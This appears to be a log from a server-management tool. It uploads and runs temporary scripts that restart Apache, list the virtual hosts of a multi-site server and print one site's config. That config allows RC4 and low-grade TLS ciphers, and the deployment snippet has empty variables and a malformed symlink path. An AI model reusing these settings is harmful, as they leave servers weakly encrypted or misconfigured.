            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_condor/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/condor_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_condor_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_condor_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_condor_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_condor_org.conf= 1'
fi


2026-05-29 06:00:10: 

chmod 755 /tmp/pkp450544; /tmp/pkp450544; rm /tmp/pkp450544

2026-05-29 06:00:10: 




2026-05-29 06:00:10: 

PUT: /tmp/pkp737233

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-29 06:00:10: 

chmod 755 /tmp/pkp737233; /tmp/pkp737233; rm /tmp/pkp737233

2026-05-29 06:00:10: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-29 06:00:10: Establishing a connection
2026-05-29 06:00:10: 

PUT: /tmp/pkp427612

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-29 06:00:10: 

chmod 755 /tmp/pkp427612; /tmp/pkp427612; rm /tmp/pkp427612

2026-05-29 06:00:10: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:30)
                 alias store.patientapps.com
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-29 06:00:10: 

PUT: /tmp/pkp682793

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_condor_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-29 06:00:10: 

chmod 755 /tmp/pkp682793; /tmp/pkp682793; rm /tmp/pkp682793

2026-05-29 06:00:10: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_condor_org.conf	1822

<VirtualHost *:80>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/condor_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_condor/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/condor_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-29 06:00:10: 

